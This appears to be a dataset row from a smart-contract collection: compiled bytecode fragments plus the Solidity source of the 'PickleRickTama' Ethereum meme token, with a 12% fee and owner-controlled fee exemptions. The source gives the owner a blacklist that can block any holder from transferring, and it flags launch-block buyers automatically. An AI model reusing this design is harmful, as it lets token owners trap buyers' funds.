40518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611ee957600080fd5b505af1158015611efd573d6000803e3d6000fd5b50505050846001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611d8257600080fd5b856001600160a01b031663610a714a85846040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611f9d57600080fd5b505af1158015611fb1573d6000803e3d6000fd5b50505050846001600160a01b031663610a714a84836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156119ed57600080fd5b836001600160a01b031663555ec74f8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561143257600080fd5b6040805163c15ded6760e01b81526001600160a01b03858116600483015284811660248301526044820184905291519186169163c15ded679160648082019260009290919082900301818387803b15801561143257600080fd5b826001600160a01b03166366428efd83836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b1580156112a757600080fd5b836001600160a01b0316637edf9f4f8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561143257600080fd5b826001600160a01b0316636614f01083836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b1580156112a757600080fd5b816001600160a01b0316634faeff1d826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b876001600160a01b031663d4b9311d8786856040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561227757600080fd5b505af115801561228b573d6000803e3d6000fd5b50505050866001600160a01b031663d4b9311d8685846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156122e557600080fd5b505af11580156122f9573d6000803e3d6000fd5b505050505050505050505050565b826001600160a01b03166343e9c6b083836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b806001600160a01b031663894ba8336040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561161557600080fd5b816001600160a01b031663d544e010826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b031663ef381cc5826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b0316633c6b16ab826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b03166335b28153826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b60005b825181101561259457836001600160a01b031663310ec4a784838151811061250557fe5b602002602001015184848151811061251957fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561257057600080fd5b505af1158015612584573d6000803e3d6000fd5b5050600190920191506124e19050565b50505050565b816001600160a01b03166326defa73826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b604080516306614f0160e41b81526b3834b22b30b634b230ba37b960a11b60048201526001600160a01b038381166024830152915191851691636614f0109160448082019260009290919082900301818387803b15801561265257600080fd5b505af1158015612666573d6000803e3d6000fd5b50505050816001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126a557600080fd5b505af11580156126b9573d6000803e3d6000fd5b505060408051630fe4f58960e41b81526d726564656d7074696f6e5261746560901b60048201526b033b2e3c9fd0803ce8000000602482015290516001600160a01b038616935063fe4f58909250604480830192600092919082900301818387803b1580156112a757600080fd5b826001600160a01b03166340c10f1983836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b816001600160a01b03166395ffa802826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b03166332c6a793826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b826001600160a01b0316637a9e5e4b836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b50505050826001600160a01b031663e177246e826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156112a757600080fd5b826001600160a01b031663310ec4a783836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b806001600160a01b031663be9a65556040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561161557600080fd5b604051635c26412360e11b81526020600482018181528351602484015283516001600160a01b0386169363b84c8246938693928392604401918501908083836000831561168a578181015183820152602001611672565b816001600160a01b0316637a9e5e4b826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b0316638eacff5d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b826001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ff57600080fd5b826001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b836001600160a01b0316636c50dbba846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015612b3a57600080fd5b505af1158015612b4e573d6000803e3d6000fd5b50505050836001600160a01b031663d4b9311d8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561143257600080fd5b816001600160a01b03166382dcc26d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b826001600160a01b0316639dc29fac83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b836001600160a01b03166394f3f81d846040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b158015612ca657600080fd5b505af1158015612cba573d6000803e3d6000fd5b50505050836001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561143257600080fd5b826001600160a01b031663fe4f5890836040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b158015612d7357600080fd5b505af1158015612d87573d6000803e3d6000fd5b50505050826001600160a01b031663fe4f5890826040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b1580156112a757600080fd5b826001600160a01b0316631f1e9f2683836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b604080516319fb4a8f60e31b81526001600160a01b038581166004830152602482018590526044820184905291519186169163cfda54789160648082019260009290919082900301818387803b158015612eaa57600080fd5b505af1158015612ebe573d6000803e3d6000fd5b505050506000612f33856001600160a01b0316631853a9a66040518163ffffffff1660e01b815260040160206040518083038186803b158015612f0057600080fd5b505afa158015612f14573d6000803e3d6000fd5b505050506040513d6020811015612f2a57600080fd5b50516001612f7b565b9050846001600160a01b0316633c6b16ab826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611d8257600080fd5b80820382811115612fbd5760405162461bcd60e51b8152600401808060200182810382526022815260200180612fc46022913960400191505060405180910390fd5b9291505056fe476f76416374696f6e732f7375622d75696e742d75696e742d756e646572666c6f77a26469706673582212201f6f931b40e4fa2c57a39c128c40b74e5afd826c3a161da3c5893ed6caeb925264736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 9,001 |
0xeab4b789991c11559488eb377a34e4363a4c7559
|
// SPDX-License-Identifier: Unlicensed
//Telegram: https://t.me/picklericktama
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡤⠶⢶⣶⣦⣄⡀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡄⠒⠪⢝⠻⣿⣿⣦⡀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⡿⢉⡀⠀⠈⠐⠄⢿⣿⣿⣷
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⡇⠀⠀⠈⡄⠤⢀⠈⣾⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡾⣿⣟⣕⡤⡠⠘⠀⠀⠀⢱⣿⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣾⣿⣞⣄⠮⠔⠈⡢⠄⣠⣾⣿⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢿⣿⢽⡻⣿⣿⣿⣽⣵⣾⡽⣿⣿⣿⣿⣿⡏
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣗⣿⡟⠈⠉⠚⢽⣻⢷⡝⣿⡿⣿⣿⣿⣿⡿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⠇⠀⠀⠀⠀⠀⢩⣯⣭⣾⣿⣿⣿⣿⠁⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⠃⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⡿⠃⠀⠀⠀⠀⣠⣼⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⢞⣿⣿⡿⠁⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣾⣿⠏⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⡟⣿⣿⠏⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⠃⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣟⣷⣾⣿⠏⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⠃⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⡰⢿⣿⣿⣯⡶⠁⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢀⣼⣟⣿⣿⡿⠃⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢀⣾⣿⣿⡯⣿⠀⠀⢠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠛⠀⠈⠀⠻⣿⣿⣿⣿⣿⣟⣛⣿⣿⡭⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠢⡀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣭⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠈⠐⠤⢀⡀⠀⢀⣙⣿⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract PickleRick is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "PickleRickTama";
string private constant _symbol = "PickleRick";
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
require(!_isBot[to]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(4);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 12%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fb578063cf0848f714610410578063cf9d4afa14610430578063dd62ed3e14610450578063e6ec64ec14610496578063f2fde38b146104b657600080fd5b8063715018a61461032b5780638da5cb5b1461034057806390d49b9d1461036857806395d89b4114610388578063a9059cbb146103bb578063b515566a146103db57600080fd5b806331c2d8471161010857806331c2d847146102445780633bbac57914610264578063437823ec1461029d578063476343ee146102bd5780635342acb4146102d257806370a082311461030b57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bb57806318160ddd146101eb57806323b872dd14610210578063313ce5671461023057600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d6565b005b34801561017e57600080fd5b5060408051808201909152600e81526d5069636b6c655269636b54616d6160901b60208201525b6040516101b29190611970565b60405180910390f35b3480156101c757600080fd5b506101db6101d63660046119ea565b610522565b60405190151581526020016101b2565b3480156101f757600080fd5b50678ac7230489e800005b6040519081526020016101b2565b34801561021c57600080fd5b506101db61022b366004611a16565b610539565b34801561023c57600080fd5b506009610202565b34801561025057600080fd5b5061017061025f366004611a6d565b6105a2565b34801561027057600080fd5b506101db61027f366004611b32565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a957600080fd5b506101706102b8366004611b32565b610638565b3480156102c957600080fd5b50610170610686565b3480156102de57600080fd5b506101db6102ed366004611b32565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031757600080fd5b50610202610326366004611b32565b6106c0565b34801561033757600080fd5b506101706106e2565b34801561034c57600080fd5b506000546040516001600160a01b0390911681526020016101b2565b34801561037457600080fd5b50610170610383366004611b32565b610718565b34801561039457600080fd5b5060408051808201909152600a8152695069636b6c655269636b60b01b60208201526101a5565b3480156103c757600080fd5b506101db6103d63660046119ea565b610792565b3480156103e757600080fd5b506101706103f6366004611a6d565b61079f565b34801561040757600080fd5b506101706108b8565b34801561041c57600080fd5b5061017061042b366004611b32565b610970565b34801561043c57600080fd5b5061017061044b366004611b32565b6109bb565b34801561045c57600080fd5b5061020261046b366004611b4f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a257600080fd5b506101706104b1366004611b88565b610c16565b3480156104c257600080fd5b506101706104d1366004611b32565b610c8c565b6000546001600160a01b031633146105095760405162461bcd60e51b815260040161050090611ba1565b60405180910390fd5b6000610514306106c0565b905061051f81610d24565b50565b600061052f338484610e9e565b5060015b92915050565b6000610546848484610fc2565b610598843361059385604051806060016040528060288152602001611d1c602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611429565b610e9e565b5060019392505050565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161050090611ba1565b60005b8151811015610634576000600560008484815181106105f0576105f0611bd6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062c81611c02565b9150506105cf565b5050565b6000546001600160a01b031633146106625760405162461bcd60e51b815260040161050090611ba1565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610634573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053390611463565b6000546001600160a01b0316331461070c5760405162461bcd60e51b815260040161050090611ba1565b61071660006114e7565b565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161050090611ba1565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052f338484610fc2565b6000546001600160a01b031633146107c95760405162461bcd60e51b815260040161050090611ba1565b60005b815181101561063457600c5482516001600160a01b03909116908390839081106107f8576107f8611bd6565b60200260200101516001600160a01b0316141580156108495750600b5482516001600160a01b039091169083908390811061083557610835611bd6565b60200260200101516001600160a01b031614155b156108a65760016005600084848151811061086657610866611bd6565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b081611c02565b9150506107cc565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161050090611ba1565b600c54600160a01b900460ff166109465760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610500565b600c805460ff60b81b1916600160b81b17905542600d81905561096b9061012c611c1d565b600e55565b6000546001600160a01b0316331461099a5760405162461bcd60e51b815260040161050090611ba1565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e55760405162461bcd60e51b815260040161050090611ba1565b600c54600160a01b900460ff1615610a4d5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610500565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac89190611c35565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b399190611c35565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa9190611c35565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c405760405162461bcd60e51b815260040161050090611ba1565b600c811115610c875760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b6044820152606401610500565b600855565b6000546001600160a01b03163314610cb65760405162461bcd60e51b815260040161050090611ba1565b6001600160a01b038116610d1b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610500565b61051f816114e7565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6c57610d6c611bd6565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de99190611c35565b81600181518110610dfc57610dfc611bd6565b6001600160a01b039283166020918202929092010152600b54610e229130911684610e9e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5b908590600090869030904290600401611c52565b600060405180830381600087803b158015610e7557600080fd5b505af1158015610e89573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001